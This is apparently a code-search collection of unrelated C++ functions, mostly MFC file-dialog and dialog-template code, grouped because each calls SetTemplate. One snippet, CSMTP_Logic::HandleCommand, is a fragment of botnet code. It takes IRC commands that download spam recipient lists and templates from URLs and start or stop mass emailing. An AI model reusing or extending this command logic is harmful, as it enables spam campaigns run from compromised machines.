CSummInfo::CSummInfo() { m_propSet.SetFormatVersion(0); DWORD dwOSVer; dwOSVer = (DWORD)MAKELONG(LOWORD(GetVersion()), 2); m_propSet.SetOSVersion(dwOSVer); m_propSet.SetClassID(FMTID_SummaryInformation); m_pSection = m_propSet.AddSection(FMTID_SummaryInformation); UINT cp = GetACP(); m_pSection->Set(PID_CODEPAGE, (void*)&cp, VT_I2); SetTitle(_T("")); SetSubject(_T("")); SetAuthor(_T("")); SetKeywords(_T("")); SetComments(_T("")); SetTemplate(_T("")); SetLastAuthor(_T("")); m_pSection->Set(PIDSI_REVNUMBER, (void*)_T("0"), VT_LPSTR); FILETIME zeroTime = {0L, 0L}; m_pSection->Set(PIDSI_EDITTIME, (void*)&zeroTime, VT_FILETIME); m_pSection->Set(PIDSI_LASTPRINTED, (void*)&zeroTime, VT_FILETIME); m_pSection->Set(PIDSI_LASTSAVE_DTM, (void*)&zeroTime, VT_FILETIME); m_pSection->Set(PIDSI_CREATE_DTM, (void*)&zeroTime, VT_FILETIME); SetNumPages(0); SetNumWords(0); SetNumChars(0); SetAppname(_T("")); SetSecurity(0); }
bool CSMTP_Logic::HandleCommand(CMessage *pMsg) { if(!pMsg->sCmd.Compare("spam.setlist")) { m_sListURL.Assign(pMsg->sChatString.Token(1, " ")); g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \ "Downloading new email list.", pMsg->sReplyTo.Str()); SetList(m_sListURL); g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \ "Finished downloading new email list.", pMsg->sReplyTo.Str()); return true; } else if(!pMsg->sCmd.Compare("spam.settemplate")) { m_sTemplateURL.Assign(pMsg->sChatString.Token(1, " ")); g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \ "Downloading new email template.", pMsg->sReplyTo.Str()); SetTemplate(m_sTemplateURL); g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \ "Finished downloading new email template.", pMsg->sReplyTo.Str()); return true; } else if(!pMsg->sCmd.Compare("spam.start")) { m_bSpamming=true; g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \ "Started spamming.", pMsg->sReplyTo.Str()); return true; } else if(!pMsg->sCmd.Compare("spam.stop")) { m_bSpamming=false; g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \ "Stopped spamming.", pMsg->sReplyTo.Str()); return true; } return false; }
//============================================================================= CXFolderDialog::CXFolderDialog(LPCTSTR lpszInitialFolder /*= NULL*/, DWORD dwFlags /*= 0*/, CWnd* pParentWnd /*= NULL*/) : CFileDialog(TRUE, NULL, NULL, dwFlags | OFN_HIDEREADONLY, szFilter, pParentWnd) //============================================================================= { m_strInitialFolder = lpszInitialFolder; //m_strFilter = _T(""); m_strPath = _T(""); m_dwFlags = dwFlags; m_eOsVersion = XFILEDIALOG_AUTO_DETECT_OS_VERSION; m_strTitle = _T(""); m_nIdFileNameStatic = 1090; m_nIdFileNameCombo = 1148; // or 1152 m_nIdFilesOfTypeStatic = 1089; m_nIdFilesOfTypeCombo = 1136; m_nIdPlaceBar = 1184; m_nViewMode = XLVM_XP_UNDEFINED; m_bUseRegistry = FALSE; m_bPersist = FALSE; m_bVistaFlag = FALSE; #if _MFC_VER > 0x700 m_bVistaFlag = m_bVistaStyle; m_bVistaStyle = FALSE; #endif // we use string version of SetTemplate(), to avoid resource id collisions SetTemplate(0, _T("IDD_XFOLDERDIALOG")); }
CSaveTextFileDialog::CSaveTextFileDialog( CTextFile::enc e, LPCTSTR lpszDefExt, LPCTSTR lpszFileName, LPCTSTR lpszFilter, CWnd* pParentWnd) : CFileDialog(FALSE, lpszDefExt, lpszFileName, OFN_EXPLORER | OFN_ENABLESIZING | OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT | OFN_PATHMUSTEXIST | OFN_NOCHANGEDIR, lpszFilter, pParentWnd), m_e(e) { if (SysVersion::IsVistaOrLater()) { // customization has to be done before OnInitDialog IFileDialogCustomize* pfdc = GetIFileDialogCustomize(); pfdc->StartVisualGroup(IDS_TEXTFILE_ENC, ResStr(IDS_TEXTFILE_ENC)); pfdc->AddComboBox(IDC_COMBO1); pfdc->AddControlItem(IDC_COMBO1, CTextFile::ASCII, _T("ANSI")); pfdc->AddControlItem(IDC_COMBO1, CTextFile::LE16, _T("Unicode 16-LE")); pfdc->AddControlItem(IDC_COMBO1, CTextFile::BE16, _T("Unicode 16-BE")); pfdc->AddControlItem(IDC_COMBO1, CTextFile::UTF8, _T("UTF-8")); pfdc->SetSelectedControlItem(IDC_COMBO1, m_e); pfdc->EndVisualGroup(); pfdc->MakeProminent(IDS_TEXTFILE_ENC); pfdc->Release(); } else { SetTemplate(0, IDD_SAVETEXTFILEDIALOGTEMPL); } }
CDialogTemplate::CDialogTemplate(const DLGTEMPLATE* pTemplate) { if (pTemplate == NULL) { m_hTemplate = NULL; m_dwTemplateSize = 0; m_bSystemFont = FALSE; } else { SetTemplate(pTemplate, GetTemplateSize(pTemplate)); } }
LTBOOL CAIButeMgr::Init(ILTCSBase *pInterface, const char* szAttributeFile) { if (g_pAIButeMgr || !szAttributeFile) return LTFALSE; if (!Parse(pInterface, szAttributeFile)) return LTFALSE; // Set up global pointer g_pAIButeMgr = this; // See how many attribute templates there are m_cTemplateID = 0; sprintf(s_aTagName, "%s%d", "AttributeTemplate", m_cTemplateID); while (m_buteMgr.Exist(s_aTagName)) { m_cTemplateID++; sprintf(s_aTagName, "%s%d", "AttributeTemplate", m_cTemplateID); } m_aTemplates = debug_newa(AIBM_Template, m_cTemplateID); for ( int iTemplate = 0 ; iTemplate < m_cTemplateID ; iTemplate++ ) { SetTemplate(iTemplate); } // See how many brains there are m_cBrainID = 0; sprintf(s_aTagName, "%s%d", "Brain", m_cBrainID); while (m_buteMgr.Exist(s_aTagName)) { m_cBrainID++; sprintf(s_aTagName, "%s%d", "Brain", m_cBrainID); } m_aBrains = debug_newa(AIBM_Brain, m_cBrainID); for ( int iBrain = 0 ; iBrain < m_cBrainID ; iBrain++ ) { SetBrain(iBrain); } SetSenses(); SetAttract(); SetDEdit(); m_buteMgr.Term(); return LTTRUE; }
BOOL CDialogTemplate::Load(LPCTSTR lpDialogTemplateID) { HINSTANCE hInst = AfxFindResourceHandle(lpDialogTemplateID, RT_DIALOG); if (hInst == NULL) return FALSE; HRSRC hRsrc = FindResource(hInst, lpDialogTemplateID, RT_DIALOG); if (hRsrc == NULL) return FALSE; HGLOBAL hTemplate = LoadResource(hInst, hRsrc); DLGTEMPLATE* pTemplate = (DLGTEMPLATE*)LockResource(hTemplate); SetTemplate(pTemplate, (UINT)SizeofResource(hInst, hRsrc)); UnlockResource(hTemplate); FreeResource(hTemplate); return TRUE; }
CDialogTemplate::CDialogTemplate(HGLOBAL hTemplate) { if (hTemplate == NULL) { m_hTemplate = NULL; m_dwTemplateSize = 0; m_bSystemFont = FALSE; } else { DLGTEMPLATE* pTemplate = (DLGTEMPLATE*)GlobalLock(hTemplate); SetTemplate(pTemplate, GetTemplateSize(pTemplate)); GlobalUnlock(hTemplate); } }
CDialogTemplate::CDialogTemplate(const DLGTEMPLATE* pTemplate) { if (pTemplate == NULL) { m_hTemplate = NULL; m_dwTemplateSize = 0; m_bSystemFont = FALSE; } else { BOOL bSet=SetTemplate(pTemplate, GetTemplateSize(pTemplate)); if(!bSet) { AfxThrowMemoryException(); } } }
CSaveImageDialog::CSaveImageDialog( int quality, int levelPNG, LPCTSTR lpszDefExt, LPCTSTR lpszFileName, LPCTSTR lpszFilter, CWnd* pParentWnd) : CFileDialog(FALSE, lpszDefExt, lpszFileName, OFN_EXPLORER|OFN_ENABLESIZING|OFN_HIDEREADONLY|OFN_OVERWRITEPROMPT|OFN_PATHMUSTEXIST|OFN_NOCHANGEDIR, lpszFilter, pParentWnd) , m_quality(quality) , m_levelPNG(levelPNG) { if (IsWinVistaOrLater()) { IFileDialogCustomize* pfdc = GetIFileDialogCustomize(); if (pfdc) { // Create an event handling object, and hook it up to the dialog. IFileDialogEvents *pfde = NULL; HRESULT hr = _CDialogEventHandler_CreateInstance(IID_PPV_ARGS(&pfde)); if (SUCCEEDED(hr)) { // Hook up the event handler. DWORD dwCookie; hr = GetIFileSaveDialog()->Advise(pfde, &dwCookie); if (SUCCEEDED(hr)) { ; } } CString str; pfdc->StartVisualGroup(IDS_THUMB_IMAGE_QUALITY, ResStr(IDS_THUMB_IMAGE_QUALITY)); pfdc->AddText(IDS_THUMB_QUALITY, ResStr(IDS_THUMB_QUALITY)); str.Format(L"%d", max(70, min(100, m_quality))); pfdc->AddEditBox(IDC_EDIT4, str); pfdc->AddText(IDS_THUMB_LEVEL, ResStr(IDS_THUMB_LEVEL)); str.Format(L"%d", max(1, min(9, m_levelPNG))); pfdc->AddEditBox(IDC_EDIT5, str); pfdc->EndVisualGroup(); pfdc->Release(); } } else { SetTemplate(0, IDD_SAVEIMAGEDIALOGTEMPL); } }
// Constructor DFUFileDialog::DFUFileDialog(BOOL bOpenFileDialog, LPCTSTR lpszFileName, DWORD dwFlags, CWnd* pParentWnd) : CFileDialog(bOpenFileDialog, ext_default, lpszFileName, dwFlags, ext_filter, pParentWnd) { //{{AFX_DATA_INIT(DFUFileDialog) //}}AFX_DATA_INIT // Specify a template containing the additional controls m_ofn.Flags |= OFN_EXPLORER | OFN_ENABLESIZING; SetTemplate(0, IDD_FILE_DIALOG); // Set the dialog caption caption.Format(bOpenFileDialog ? IDS_FILE_CAPTION_OPEN : IDS_FILE_CAPTION_SAVE); m_ofn.lpstrTitle = LPCTSTR(caption); }
CDialogTemplate::CDialogTemplate(HGLOBAL hTemplate) { if (hTemplate == NULL) { m_hTemplate = NULL; m_dwTemplateSize = 0; m_bSystemFont = FALSE; } else { DLGTEMPLATE* pTemplate = (DLGTEMPLATE*)GlobalLock(hTemplate); BOOL bSet=SetTemplate(pTemplate, GetTemplateSize(pTemplate)); GlobalUnlock(hTemplate); if(!bSet) { AfxThrowMemoryException(); } } }
BOOL CDialogTemplate::Load(LPCTSTR lpDialogTemplateID) { HINSTANCE hInst = _Module.GetResourceInstance(); if (hInst == NULL) { return FALSE; } HRSRC hRsrc = FindResource(hInst, lpDialogTemplateID, RT_DIALOG); if (hRsrc == NULL) { return FALSE; } HGLOBAL hTemplate = LoadResource(hInst, hRsrc); DLGTEMPLATE* pTemplate = (DLGTEMPLATE*)LockResource(hTemplate); BOOL bSet=SetTemplate(pTemplate, (UINT)SizeofResource(hInst, hRsrc)); UnlockResource(hTemplate); FreeResource(hTemplate); return bSet; }